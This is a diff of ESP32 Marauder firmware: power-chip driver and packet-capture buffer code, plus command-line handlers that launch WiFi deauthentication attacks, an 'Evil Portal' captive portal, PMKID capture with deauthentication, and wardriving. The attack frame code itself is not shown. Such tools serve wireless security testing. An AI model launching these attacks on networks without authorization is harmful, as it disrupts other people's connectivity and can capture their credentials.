// get coulomb val affter calculation: float GetCoulombData(void);
//------------------------------------------
void AXP192::EnableCoulombcounter(void) {
Write1Byte(0xB8, 0x80);
}
void AXP192::DisableCoulombcounter(void) {
Write1Byte(0xB8, 0x00);
}
void AXP192::StopCoulombcounter(void) {
Write1Byte(0xB8, 0xC0);
}
void AXP192::ClearCoulombcounter(void) {
Write1Byte(0xB8, 0xA0);
}
uint32_t AXP192::GetCoulombchargeData(void) {
return Read32bit(0xB0);
}
uint32_t AXP192::GetCoulombdischargeData(void) {
return Read32bit(0xB4);
}
float AXP192::GetCoulombData(void) {
uint32_t coin = 0;
uint32_t coout = 0;
coin = GetCoulombchargeData();
coout = GetCoulombdischargeData();
// c = 65536 * current_LSB * (coin - coout) / 3600 / ADC rate
// Adc rate can be read from 84H ,change this variable if you change the ADC
// reate
float ccc = 65536 * 0.5 * (int32_t)(coin - coout) / 3600.0 / 25.0;
return ccc;
}
//----------coulomb_end_at_here----------
uint16_t AXP192::GetVbatData(void) {
uint16_t vbat = 0;
uint8_t buf[2];
ReadBuff(0x78, 2, buf);
vbat = ((buf[0] << 4) + buf[1]); // V
return vbat;
}
uint16_t AXP192::GetVinData(void) {
uint16_t vin = 0;
uint8_t buf[2];
ReadBuff(0x56, 2, buf);
vin = ((buf[0] << 4) + buf[1]); // V
return vin;
}
uint16_t AXP192::GetIinData(void) {
uint16_t iin = 0;
uint8_t buf[2];
ReadBuff(0x58, 2, buf);
iin = ((buf[0] << 4) + buf[1]);
return iin;
}
uint16_t AXP192::GetVusbinData(void) {
uint16_t vin = 0;
uint8_t buf[2];
ReadBuff(0x5a, 2, buf);
vin = ((buf[0] << 4) + buf[1]); // V
return vin;
}
uint16_t AXP192::GetIusbinData(void) {
uint16_t iin = 0;
uint8_t buf[2];
ReadBuff(0x5C, 2, buf);
iin = ((buf[0] << 4) + buf[1]);
return iin;
}
uint16_t AXP192::GetIchargeData(void) {
uint16_t icharge = 0;
uint8_t buf[2];
ReadBuff(0x7A, 2, buf);
icharge = (buf[0] << 5) + buf[1];
return icharge;
}
uint16_t AXP192::GetIdischargeData(void) {
uint16_t idischarge = 0;
uint8_t buf[2];
ReadBuff(0x7C, 2, buf);
idischarge = (buf[0] << 5) + buf[1];
return idischarge;
}
uint16_t AXP192::GetTempData(void) {
uint16_t temp = 0;
uint8_t buf[2];
ReadBuff(0x5e, 2, buf);
temp = ((buf[0] << 4) + buf[1]);
return temp;
}
uint32_t AXP192::GetPowerbatData(void) {
uint32_t power = 0;
uint8_t buf[3];
ReadBuff(0x70, 2, buf);
power = (buf[0] << 16) + (buf[1] << 8) + buf[2];
return power;
}
uint16_t AXP192::GetVapsData(void) {
uint16_t vaps = 0;
uint8_t buf[2];
ReadBuff(0x7e, 2, buf);
vaps = ((buf[0] << 4) + buf[1]);
return vaps;
}
void AXP192::SetSleep(void) {
uint8_t buf = Read8bit(0x31);
buf = (1 << 3) | buf;
Write1Byte(0x31, buf);
Write1Byte(0x90, 0x00);
Write1Byte(0x12, 0x09);
// Write1Byte(0x12, 0x00);
Write1Byte(0x12, Read8bit(0x12) & 0xA1); // Disable all outputs but DCDC1
}
uint8_t AXP192::GetWarningLeve(void) {
Wire1.beginTransmission(0x34);
Wire1.write(0x47);
Wire1.endTransmission();
Wire1.requestFrom(0x34, 1);
uint8_t buf = Wire1.read();
return (buf & 0x01);
}
// -- sleep
void AXP192::DeepSleep(uint64_t time_in_us) {
SetSleep();
if (time_in_us > 0) {
esp_sleep_enable_timer_wakeup(time_in_us);
} else {
esp_sleep_disable_wakeup_source(ESP_SLEEP_WAKEUP_TIMER);
}
(time_in_us == 0) ? esp_deep_sleep_start() : esp_deep_sleep(time_in_us);
}
void AXP192::LightSleep(uint64_t time_in_us) {
SetSleep();
if (time_in_us > 0) {
esp_sleep_enable_timer_wakeup(time_in_us);
} else {
esp_sleep_disable_wakeup_source(ESP_SLEEP_WAKEUP_TIMER);
}
esp_light_sleep_start();
}
// 0 not press, 0x01 long press, 0x02 press
uint8_t AXP192::GetBtnPress() {
uint8_t state = Read8bit(0x46);
if (state) {
Write1Byte(0x46, 0x03);
}
return state;
}
uint8_t AXP192::GetWarningLevel(void) {
return Read8bit(0x47) & 0x01;
}
float AXP192::GetBatVoltage() {
float ADCLSB = 1.1 / 1000.0;
uint16_t ReData = Read12Bit(0x78);
return ReData * ADCLSB;
}
float AXP192::GetBatCurrent() {
float ADCLSB = 0.5;
uint16_t CurrentIn = Read13Bit(0x7A);
uint16_t CurrentOut = Read13Bit(0x7C);
return (CurrentIn - CurrentOut) * ADCLSB;
}
float AXP192::GetVinVoltage() {
float ADCLSB = 1.7 / 1000.0;
uint16_t ReData = Read12Bit(0x56);
return ReData * ADCLSB;
}
float AXP192::GetVinCurrent() {
float ADCLSB = 0.625;
uint16_t ReData = Read12Bit(0x58);
return ReData * ADCLSB;
}
float AXP192::GetVBusVoltage() {
float ADCLSB = 1.7 / 1000.0;
uint16_t ReData = Read12Bit(0x5A);
return ReData * ADCLSB;
}
float AXP192::GetVBusCurrent() {
float ADCLSB = 0.375;
uint16_t ReData = Read12Bit(0x5C);
return ReData * ADCLSB;
}
float AXP192::GetTempInAXP192() {
float ADCLSB = 0.1;
const float OFFSET_DEG_C = -144.7;
uint16_t ReData = Read12Bit(0x5E);
return OFFSET_DEG_C + ReData * ADCLSB;
}
float AXP192::GetBatPower() {
float VoltageLSB = 1.1;
float CurrentLCS = 0.5;
uint32_t ReData = Read24bit(0x70);
return VoltageLSB * CurrentLCS * ReData / 1000.0;
}
float AXP192::GetBatChargeCurrent() {
float ADCLSB = 0.5;
uint16_t ReData = Read12Bit(0x7A);
return ReData * ADCLSB;
}
float AXP192::GetAPSVoltage() {
float ADCLSB = 1.4 / 1000.0;
uint16_t ReData = Read12Bit(0x7E);
return ReData * ADCLSB;
}
float AXP192::GetBatCoulombInput() {
uint32_t ReData = Read32bit(0xB0);
return ReData * 65536 * 0.5 / 3600 / 25.0;
}
float AXP192::GetBatCoulombOut() {
uint32_t ReData = Read32bit(0xB4);
return ReData * 65536 * 0.5 / 3600 / 25.0;
}
void AXP192::SetCoulombClear() {
Write1Byte(0xB8, 0x20);
}
void AXP192::SetLDO2(bool State) {
uint8_t buf = Read8bit(0x12);
if (State == true)
buf = (1 << 2) | buf;
else
buf = ~(1 << 2) & buf;
Write1Byte(0x12, buf);
}
// Cut all power, except for LDO1 (RTC)
void AXP192::PowerOff() {
Write1Byte(0x32, Read8bit(0x32) | 0x80); // MSB for Power Off
}
void AXP192::SetPeripherialsPower(uint8_t state) {
if (!state)
Write1Byte(0x10, Read8bit(0x10) & 0XFB);
else if (state)
Write1Byte(0x10, Read8bit(0x10) | 0X04);
// uint8_t data;
// Set EXTEN to enable 5v boost
}

81
esp32_marauder/AXP192.h Normal file
View File

@@ -0,0 +1,81 @@
#ifndef __AXP192_H__
#define __AXP192_H__
#include <Arduino.h>
#include <Wire.h>
#define SLEEP_MSEC(us) (((uint64_t)us) * 1000L)
#define SLEEP_SEC(us) (((uint64_t)us) * 1000000L)
#define SLEEP_MIN(us) (((uint64_t)us) * 60L * 1000000L)
#define SLEEP_HR(us) (((uint64_t)us) * 60L * 60L * 1000000L)
class AXP192 {
public:
AXP192();
void begin(void);
void ScreenBreath(int brightness);
void ScreenSwitch(bool state);
bool GetBatState();
void EnableCoulombcounter(void);
void DisableCoulombcounter(void);
void StopCoulombcounter(void);
void ClearCoulombcounter(void);
uint32_t GetCoulombchargeData(void);
uint32_t GetCoulombdischargeData(void);
float GetCoulombData(void);
uint16_t GetVbatData(void) __attribute__((deprecated));
uint16_t GetIchargeData(void) __attribute__((deprecated));
uint16_t GetIdischargeData(void) __attribute__((deprecated));
uint16_t GetTempData(void) __attribute__((deprecated));
uint32_t GetPowerbatData(void) __attribute__((deprecated));
uint16_t GetVinData(void) __attribute__((deprecated));
uint16_t GetIinData(void) __attribute__((deprecated));
uint16_t GetVusbinData(void) __attribute__((deprecated));
uint16_t GetIusbinData(void) __attribute__((deprecated));
uint16_t GetVapsData(void) __attribute__((deprecated));
uint8_t GetBtnPress(void);
// -- sleep
void SetSleep(void);
void DeepSleep(uint64_t time_in_us = 0);
void LightSleep(uint64_t time_in_us = 0);
uint8_t GetWarningLeve(void);
public:
// void SetChargeVoltage( uint8_t );
// void SetChargeCurrent( uint8_t );
float GetBatVoltage();
float GetBatCurrent();
float GetVinVoltage();
float GetVinCurrent();
float GetVBusVoltage();
float GetVBusCurrent();
float GetTempInAXP192();
float GetBatPower();
float GetBatChargeCurrent();
float GetAPSVoltage();
float GetBatCoulombInput();
float GetBatCoulombOut();
uint8_t GetWarningLevel(void);
void SetCoulombClear();
void SetLDO2(bool State);
void SetPeripherialsPower(uint8_t state);
// -- Power Off
void PowerOff();
public:
void Write1Byte(uint8_t Addr, uint8_t Data);
uint8_t Read8bit(uint8_t Addr);
uint16_t Read12Bit(uint8_t Addr);
uint16_t Read13Bit(uint8_t Addr);
uint16_t Read16bit(uint8_t Addr);
uint32_t Read24bit(uint8_t Addr);
uint32_t Read32bit(uint8_t Addr);
void ReadBuff(uint8_t Addr, uint8_t Size, uint8_t *Buff);
};
#endif

File diff suppressed because one or more lines are too long

View File

@@ -5,45 +5,39 @@ BatteryInterface::BatteryInterface() {
}
void BatteryInterface::main(uint32_t currentTime) {
#ifndef MARAUDER_FLIPPER
if (currentTime != 0) {
if (currentTime - initTime >= 3000) {
//Serial.println("Checking Battery Level");
this->initTime = millis();
int8_t new_level = this->getBatteryLevel();
//this->battery_level = this->getBatteryLevel();
if (this->battery_level != new_level) {
Serial.println(text00 + (String)new_level);
this->battery_level = new_level;
}
if (currentTime != 0) {
if (currentTime - initTime >= 3000) {
//Serial.println("Checking Battery Level");
this->initTime = millis();
int8_t new_level = this->getBatteryLevel();
//this->battery_level = this->getBatteryLevel();
if (this->battery_level != new_level) {
Serial.println(text00 + (String)new_level);
this->battery_level = new_level;
}
}
#endif
}
}
void BatteryInterface::RunSetup() {
#ifndef MARAUDER_FLIPPER
Wire.begin(I2C_SDA, I2C_SCL);
this->initTime = millis();
#endif
Wire.begin(I2C_SDA, I2C_SCL);
this->initTime = millis();
}
int8_t BatteryInterface::getBatteryLevel() {
#ifndef MARAUDER_FLIPPER
Wire.beginTransmission(IP5306_ADDR);
Wire.write(0x78);
if (Wire.endTransmission(false) == 0 &&
Wire.requestFrom(0x75, 1)) {
this->i2c_supported = true;
switch (Wire.read() & 0xF0) {
case 0xE0: return 25;
case 0xC0: return 50;
case 0x80: return 75;
case 0x00: return 100;
default: return 0;
}
Wire.beginTransmission(IP5306_ADDR);
Wire.write(0x78);
if (Wire.endTransmission(false) == 0 &&
Wire.requestFrom(0x75, 1)) {
this->i2c_supported = true;
switch (Wire.read() & 0xF0) {
case 0xE0: return 25;
case 0xC0: return 50;
case 0x80: return 75;
case 0x00: return 100;
default: return 0;
}
this->i2c_supported = false;
return -1;
#endif
}
this->i2c_supported = false;
return -1;
}

View File

@@ -5,9 +5,7 @@
#include "configs.h"
#ifndef MARAUDER_FLIPPER
#include <Wire.h>
#endif
#include <Wire.h>
#define I2C_SDA 33
#define I2C_SCL 22

View File

@@ -6,32 +6,44 @@ Buffer::Buffer(){
bufB = (uint8_t*)malloc(BUF_SIZE);
}
void Buffer::open(fs::FS* fs, String fn){
void Buffer::createPcapFile(fs::FS* fs, String fn, bool log){
int i=0;
do{
fileName = "/"+fn+"_"+(String)i+".pcap";
i++;
} while(fs->exists(fileName));
if (!log) {
do{
fileName = "/"+fn+"_"+(String)i+".pcap";
i++;
} while(fs->exists(fileName));
}
else {
do{
fileName = "/"+fn+"_"+(String)i+".log";
i++;
} while(fs->exists(fileName));
}
Serial.println(fileName);
file = fs->open(fileName, FILE_WRITE);
file.close();
}
void Buffer::open(bool log){
bufSizeA = 0;
bufSizeB = 0;
writing = true;
write(uint32_t(0xa1b2c3d4)); // magic number
write(uint16_t(2)); // major version number
write(uint16_t(4)); // minor version number
write(int32_t(0)); // GMT to local correction
write(uint32_t(0)); // accuracy of timestamps
write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
write(uint32_t(105)); // data link type
//useSD = true;
bufSizeB = 0;
writing = true;
if (!log) {
write(uint32_t(0xa1b2c3d4)); // magic number
write(uint16_t(2)); // major version number
write(uint16_t(4)); // minor version number
write(int32_t(0)); // GMT to local correction
write(uint32_t(0)); // accuracy of timestamps
write(uint32_t(SNAP_LEN)); // max length of captured packets, in octets
write(uint32_t(105)); // data link type
}
}
void Buffer::close(fs::FS* fs){
@@ -41,8 +53,7 @@ void Buffer::close(fs::FS* fs){
Serial.println(text01);
}
void Buffer::addPacket(uint8_t* buf, uint32_t len){
void Buffer::addPacket(uint8_t* buf, uint32_t len, bool log){
// buffer is full -> drop packet
if((useA && bufSizeA + len >= BUF_SIZE && bufSizeB > 0) || (!useA && bufSizeB + len >= BUF_SIZE && bufSizeA > 0)){
//Serial.print(";");
@@ -63,10 +74,12 @@ void Buffer::addPacket(uint8_t* buf, uint32_t len){
microSeconds -= seconds*1000*1000; // e.g. 45200400 - 45*1000*1000 = 45200400 - 45000000 = 400us (because we only need the offset)
write(seconds); // ts_sec
write(microSeconds); // ts_usec
write(len); // incl_len
write(len); // orig_len
if (!log) {
write(seconds); // ts_sec
write(microSeconds); // ts_usec
write(len); // incl_len
write(len); // orig_len
}
write(buf, len); // packet payload
}
@@ -201,3 +214,34 @@ void Buffer::forceSave(fs::FS* fs){
saving = false;
writing = true;
}
void Buffer::forceSaveSerial() {
uint32_t len = bufSizeA + bufSizeB;
if(len == 0) return;
saving = true;
writing = false;
if(useA){
if(bufSizeB > 0){
Serial1.write(bufB, bufSizeB);
bufSizeB = 0;
}
if(bufSizeA > 0){
Serial1.write(bufA, bufSizeA);
bufSizeA = 0;
}
} else {
if(bufSizeA > 0){
Serial1.write(bufA, bufSizeA);
bufSizeA = 0;
}
if(bufSizeB > 0){
Serial1.write(bufB, bufSizeB);
bufSizeB = 0;
}
}
saving = false;
writing = true;
}

View File

@@ -16,11 +16,13 @@ extern Settings settings_obj;
class Buffer {
public:
Buffer();
void open(fs::FS* fs, String fn = "");
void createPcapFile(fs::FS* fs, String fn = "", bool log = false);
void open(bool log = false);
void close(fs::FS* fs);
void addPacket(uint8_t* buf, uint32_t len);
void addPacket(uint8_t* buf, uint32_t len, bool log = false);
void save(fs::FS* fs);
void forceSave(fs::FS* fs);
void forceSaveSerial();
private:
void write(int32_t n);
void write(uint32_t n);

View File

@@ -9,6 +9,9 @@ void CommandLine::RunSetup() {
Serial.println(F("\n\n--------------------------------\n"));
Serial.println(F(" ESP32 Marauder \n"));
Serial.println(" " + version_number + "\n");
#ifdef WRITE_PACKETS_SERIAL
Serial.println(F(" >> Serial \n"));
#endif
Serial.println(F(" By: justcallmekoko\n"));
Serial.println(F("--------------------------------\n\n"));
@@ -36,21 +39,41 @@ void CommandLine::main(uint32_t currentTime) {
LinkedList<String> CommandLine::parseCommand(String input, char* delim) {
LinkedList<String> cmd_args;
if (input != "") {
char fancy[input.length() + 1] = {};
input.toCharArray(fancy, input.length() + 1);
char* ptr = strtok(fancy, delim);
while (ptr != NULL) {
cmd_args.add(String(ptr));
ptr = strtok(NULL, delim);
bool inQuote = false;
bool inApostrophe = false;
String buffer = "";
for (int i = 0; i < input.length(); i++) {
char c = input.charAt(i);
if (c == '"') {
// Check if the quote is within an apostrophe
if (inApostrophe) {
buffer += c;
} else {
inQuote = !inQuote;
}
} else if (c == '\'') {
// Check if the apostrophe is within a quote
if (inQuote) {
buffer += c;
} else {
inApostrophe = !inApostrophe;
}
} else if (!inQuote && !inApostrophe && strchr(delim, c) != NULL) {
cmd_args.add(buffer);
buffer = "";
} else {
buffer += c;
}
}
// Add the last argument
if (!buffer.isEmpty()) {
cmd_args.add(buffer);
}
return cmd_args;
}
@@ -93,6 +116,85 @@ bool CommandLine::hasSSIDs() {
return true;
}
void CommandLine::showCounts(int selected, int unselected) {
Serial.print((String) selected + " selected");
if (unselected != -1)
Serial.print(", " + (String) unselected + " unselected");
Serial.println("");
}
String CommandLine::toLowerCase(String str) {
String result = str;
for (int i = 0; i < str.length(); i++) {
int charValue = str.charAt(i);
if (charValue >= 65 && charValue <= 90) { // ASCII codes for uppercase letters
charValue += 32;
result.setCharAt(i, char(charValue));
}
}
return result;
}
void CommandLine::filterAccessPoints(String filter) {
int count_selected = 0;
int count_unselected = 0;
// Split the filter string into individual filters
LinkedList<String> filters;
int start = 0;
int end = filter.indexOf(" or ");
while (end != -1) {
filters.add(filter.substring(start, end));
start = end + 4;
end = filter.indexOf(" or ", start);
}
filters.add(filter.substring(start));
// Loop over each access point and check if it matches any of the filters
for (int i = 0; i < access_points->size(); i++) {
bool matchesFilter = false;
for (int j = 0; j < filters.size(); j++) {
String f = toLowerCase(filters.get(j));
if (f.substring(0, 7) == "equals ") {
String ssidEquals = f.substring(7);
if ((ssidEquals.charAt(0) == '\"' && ssidEquals.charAt(ssidEquals.length() - 1) == '\"' && ssidEquals.length() > 1) ||
(ssidEquals.charAt(0) == '\'' && ssidEquals.charAt(ssidEquals.length() - 1) == '\'' && ssidEquals.length() > 1)) {
ssidEquals = ssidEquals.substring(1, ssidEquals.length() - 1);
}
if (access_points->get(i).essid.equalsIgnoreCase(ssidEquals)) {
matchesFilter = true;
break;
}
} else if (f.substring(0, 9) == "contains ") {
String ssidContains = f.substring(9);
if ((ssidContains.charAt(0) == '\"' && ssidContains.charAt(ssidContains.length() - 1) == '\"' && ssidContains.length() > 1) ||
(ssidContains.charAt(0) == '\'' && ssidContains.charAt(ssidContains.length() - 1) == '\'' && ssidContains.length() > 1)) {
ssidContains = ssidContains.substring(1, ssidContains.length() - 1);
}
String essid = toLowerCase(access_points->get(i).essid);
if (essid.indexOf(ssidContains) != -1) {
matchesFilter = true;
break;
}
}
}
// Toggles the selected state of the AP
AccessPoint new_ap = access_points->get(i);
new_ap.selected = matchesFilter;
access_points->set(i, new_ap);
if (matchesFilter) {
count_selected++;
} else {
count_unselected++;
}
}
this->showCounts(count_selected, count_unselected);
}
void CommandLine::runCommand(String input) {
if (input != "")
Serial.println("#" + input);
@@ -109,13 +211,18 @@ void CommandLine::runCommand(String input) {
Serial.println(HELP_CH_CMD);
Serial.println(HELP_SETTINGS_CMD);
Serial.println(HELP_CLEARAP_CMD_A);
Serial.println(HELP_CLEARAP_CMD_B);
Serial.println(HELP_REBOOT_CMD);
Serial.println(HELP_UPDATE_CMD_A);
Serial.println(HELP_UPDATE_CMD_B);
Serial.println(HELP_LS_CMD);
Serial.println(HELP_LED_CMD);
Serial.println(HELP_GPS_DATA_CMD);
Serial.println(HELP_GPS_CMD);
// WiFi sniff/scan
Serial.println(HELP_EVIL_PORTAL_CMD);
Serial.println(HELP_SIGSTREN_CMD);
Serial.println(HELP_SCANAP_CMD);
Serial.println(HELP_SCANSTA_CMD);
Serial.println(HELP_SNIFF_RAW_CMD);
Serial.println(HELP_SNIFF_BEACON_CMD);
Serial.println(HELP_SNIFF_PROBE_CMD);
@@ -124,6 +231,7 @@ void CommandLine::runCommand(String input) {
Serial.println(HELP_SNIFF_DEAUTH_CMD);
Serial.println(HELP_SNIFF_PMKID_CMD);
Serial.println(HELP_STOPSCAN_CMD);
Serial.println(HELP_WARDRIVE_CMD);
// WiFi attack
Serial.println(HELP_ATTACK_CMD);
@@ -131,8 +239,8 @@ void CommandLine::runCommand(String input) {
// WiFi Aux
Serial.println(HELP_LIST_AP_CMD_A);
Serial.println(HELP_LIST_AP_CMD_B);
Serial.println(HELP_LIST_AP_CMD_C);
Serial.println(HELP_SEL_CMD_A);
Serial.println(HELP_SEL_CMD_B);
Serial.println(HELP_SSID_CMD_A);
Serial.println(HELP_SSID_CMD_B);
@@ -145,15 +253,15 @@ void CommandLine::runCommand(String input) {
// Stop Scan
if (cmd_args.get(0) == STOPSCAN_CMD) {
if (wifi_scan_obj.currentScanMode == OTA_UPDATE) {
wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
//if (wifi_scan_obj.currentScanMode == OTA_UPDATE) {
// wifi_scan_obj.currentScanMode = WIFI_SCAN_OFF;
//#ifdef HAS_SCREEN
// menu_function_obj.changeMenu(menu_function_obj.updateMenu.parentMenu);
//#endif
WiFi.softAPdisconnect(true);
web_obj.shutdownServer();
return;
}
// WiFi.softAPdisconnect(true);
// web_obj.shutdownServer();
// return;
//}
wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
@@ -165,6 +273,85 @@ void CommandLine::runCommand(String input) {
menu_function_obj.changeMenu(menu_function_obj.current_menu);
#endif
}
else if (cmd_args.get(0) == GPS_DATA_CMD) {
#ifdef HAS_GPS
if (gps_obj.getGpsModuleStatus()) {
Serial.println("Getting GPS Data. Stop with " + (String)STOPSCAN_CMD);
wifi_scan_obj.currentScanMode = WIFI_SCAN_GPS_DATA;
#ifdef HAS_SCREEN
menu_function_obj.changeMenu(&menu_function_obj.gpsInfoMenu);
#endif
wifi_scan_obj.StartScan(WIFI_SCAN_GPS_DATA, TFT_CYAN);
}
#endif
}
else if (cmd_args.get(0) == GPS_CMD) {
#ifdef HAS_GPS
if (gps_obj.getGpsModuleStatus()) {
int get_arg = this->argSearch(&cmd_args, "-g");
if (get_arg != -1) {
String gps_info = cmd_args.get(get_arg + 1);
if (gps_info == "fix")
Serial.println("Fix: " + gps_obj.getFixStatusAsString());
else if (gps_info == "sat")
Serial.println("Sats: " + gps_obj.getNumSatsString());
else if (gps_info == "lat")
Serial.println("Lat: " + gps_obj.getLat());
else if (gps_info == "lon")
Serial.println("Lon: " + gps_obj.getLon());
else if (gps_info == "alt")
Serial.println("Alt: " + (String)gps_obj.getAlt());
else if (gps_info == "date")
Serial.println("Date/Time: " + gps_obj.getDatetime());
else
Serial.println("You did not provide a valid argument");
}
}
#endif
}
// LED command
else if (cmd_args.get(0) == LED_CMD) {
int hex_arg = this->argSearch(&cmd_args, "-s");
int pat_arg = this->argSearch(&cmd_args, "-p");
#ifdef PIN
if (hex_arg != -1) {
String hexstring = cmd_args.get(hex_arg + 1);
int number = (int)strtol(&hexstring[1], NULL, 16);
int r = number >> 16;
int g = number >> 8 & 0xFF;
int b = number & 0xFF;
//Serial.println(r);
//Serial.println(g);
//Serial.println(b);
led_obj.setColor(r, g, b);
led_obj.setMode(MODE_CUSTOM);
}
else if (pat_arg != -1) {
String pat_name = cmd_args.get(pat_arg + 1);
pat_name.toLowerCase();
if (pat_name == "rainbow") {
led_obj.setMode(MODE_RAINBOW);
}
}
#else
Serial.println("This hardware does not support neopixel");
#endif
}
// ls command
else if (cmd_args.get(0) == LS_CMD) {
#ifdef HAS_SD
if (cmd_args.size() > 1)
sd_obj.listDir(cmd_args.get(1));
else
Serial.println("You did not provide a dir to list");
#else
Serial.println("SD support disabled, cannot use command");
return;
#endif
}
// Channel command
else if (cmd_args.get(0) == CH_CMD) {
// Search for channel set arg
@@ -183,12 +370,28 @@ void CommandLine::runCommand(String input) {
else if (cmd_args.get(0) == CLEARAP_CMD) {
int ap_sw = this->argSearch(&cmd_args, "-a"); // APs
int ss_sw = this->argSearch(&cmd_args, "-s"); // SSIDs
int cl_sw = this->argSearch(&cmd_args, "-c"); // Stations
if (ap_sw != -1)
if (ap_sw != -1) {
#ifdef HAS_SCREEN
menu_function_obj.changeMenu(&menu_function_obj.clearAPsMenu);
#endif
wifi_scan_obj.RunClearAPs();
}
if (ss_sw != -1)
if (ss_sw != -1) {
#ifdef HAS_SCREEN
menu_function_obj.changeMenu(&menu_function_obj.clearSSIDsMenu);
#endif
wifi_scan_obj.RunClearSSIDs();
}
if (cl_sw != -1) {
#ifdef HAS_SCREEN
menu_function_obj.changeMenu(&menu_function_obj.clearAPsMenu);
#endif
wifi_scan_obj.RunClearStations();
}
}
else if (cmd_args.get(0) == SETTINGS_CMD) {
@@ -231,9 +434,57 @@ void CommandLine::runCommand(String input) {
//// WiFi/Bluetooth Scan/Attack commands
if (!wifi_scan_obj.scanning()) {
// Signal strength scan
if (cmd_args.get(0) == SIGSTREN_CMD) {
Serial.println("Starting Signal Strength Scan. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#endif
wifi_scan_obj.StartScan(WIFI_SCAN_SIG_STREN, TFT_MAGENTA);
}
// Wardrive
else if (cmd_args.get(0) == WARDRIVE_CMD) {
#ifdef HAS_GPS
if (gps_obj.getGpsModuleStatus()) {
Serial.println("Starting Wardrive. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#endif
wifi_scan_obj.StartScan(WIFI_SCAN_WAR_DRIVE, TFT_GREEN);
}
#endif
}
// AP Scan
if (cmd_args.get(0) == SCANAP_CMD) {
else if (cmd_args.get(0) == EVIL_PORTAL_CMD) {
int cmd_sw = this->argSearch(&cmd_args, "-c");
if (cmd_sw != -1) {
String et_command = cmd_args.get(cmd_sw + 1);
if (et_command == "start") {
Serial.println("Starting Evil Portal. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#endif
wifi_scan_obj.StartScan(WIFI_SCAN_EVIL_PORTAL, TFT_MAGENTA);
}
else if (et_command == "reset") {
}
else if (et_command == "ack") {
}
else if (et_command == "sethtml") {
}
else if (et_command == "setap") {
}
}
}
else if (cmd_args.get(0) == SCANAP_CMD) {
int full_sw = -1;
#ifdef HAS_SCREEN
display_obj.clearScreen();
@@ -258,6 +509,18 @@ void CommandLine::runCommand(String input) {
#endif
wifi_scan_obj.StartScan(WIFI_SCAN_RAW_CAPTURE, TFT_WHITE);
}
// Scan stations
else if (cmd_args.get(0) == SCANSTA_CMD) {
if(access_points->size() < 1)
Serial.println("The AP list is empty. Scan APs first with " + (String)SCANAP_CMD);
Serial.println("Starting Station scan. Stop with " + (String)STOPSCAN_CMD);
#ifdef HAS_SCREEN
display_obj.clearScreen();
menu_function_obj.drawStatusBar();
#endif
wifi_scan_obj.StartScan(WIFI_SCAN_STATION, TFT_ORANGE);
}
// Beacon sniff
else if (cmd_args.get(0) == SNIFF_BEACON_CMD) {
Serial.println("Starting Beacon sniff. Stop with " + (String)STOPSCAN_CMD);
@@ -307,6 +570,14 @@ void CommandLine::runCommand(String input) {
else if (cmd_args.get(0) == SNIFF_PMKID_CMD) {
int ch_sw = this->argSearch(&cmd_args, "-c");
int d_sw = this->argSearch(&cmd_args, "-d"); // Deauth for pmkid
int l_sw = this->argSearch(&cmd_args, "-l"); // Only run on list
if (l_sw != -1) {
if (!this->apSelected()) {
Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
return;
}
}
if (ch_sw != -1) {
wifi_scan_obj.set_channel = cmd_args.get(ch_sw + 1).toInt();
@@ -319,11 +590,15 @@ void CommandLine::runCommand(String input) {
Serial.println("Starting PMKID sniff on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
wifi_scan_obj.StartScan(WIFI_SCAN_EAPOL, TFT_VIOLET);
}
else if ((d_sw != -1) && (l_sw != -1)) {
Serial.println("Starting TARGETED PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_LIST_EAPOL, TFT_VIOLET);
}
else {
Serial.println("Starting PMKID sniff with deauthentication on channel " + (String)wifi_scan_obj.set_channel + ". Stop with " + (String)STOPSCAN_CMD);
wifi_scan_obj.StartScan(WIFI_SCAN_ACTIVE_EAPOL, TFT_VIOLET);
}
}
}
//// WiFi attack commands
// attack
@@ -334,6 +609,7 @@ void CommandLine::runCommand(String input) {
int ap_beacon_sw = this->argSearch(&cmd_args, "-a");
int src_addr_sw = this->argSearch(&cmd_args, "-s");
int dst_addr_sw = this->argSearch(&cmd_args, "-d");
int targ_sw = this->argSearch(&cmd_args, "-c");
if (attack_type_switch == -1) {
Serial.println("You must specify an attack type");
@@ -345,14 +621,21 @@ void CommandLine::runCommand(String input) {
// Branch on attack type
// Deauth
if (attack_type == ATTACK_TYPE_DEAUTH) {
if (dst_addr_sw == -1) {
// Default to broadcast
if ((dst_addr_sw == -1) && (targ_sw == -1)) {
Serial.println("Sending to broadcast...");
wifi_scan_obj.dst_mac = "ff:ff:ff:ff:ff:ff";
}
else {
// Dest addr specified
else if (dst_addr_sw != -1) {
wifi_scan_obj.dst_mac = cmd_args.get(dst_addr_sw + 1);
Serial.println("Sending to " + wifi_scan_obj.dst_mac + "...");
}
// Station list specified
else if (targ_sw != -1)
Serial.println("Sending to Station list");
// Source addr not specified
if (src_addr_sw == -1) {
if (!this->apSelected()) {
Serial.println("You don't have any targets selected. Use " + (String)SEL_CMD);
@@ -363,8 +646,14 @@ void CommandLine::runCommand(String input) {
menu_function_obj.drawStatusBar();
#endif
Serial.println("Starting Deauthentication attack. Stop with " + (String)STOPSCAN_CMD);
wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH, TFT_RED);
// Station list not specified
if (targ_sw == -1)
wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH, TFT_RED);
// Station list specified
else
wifi_scan_obj.StartScan(WIFI_ATTACK_DEAUTH_TARGETED, TFT_ORANGE);
}
// Source addr specified
else {
String src_mac_str = cmd_args.get(src_addr_sw + 1);
sscanf(src_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
@@ -449,73 +738,119 @@ void CommandLine::runCommand(String input) {
//// Bluetooth scan/attack commands
// Bluetooth scan
if (cmd_args.get(0) == BT_SNIFF_CMD) {
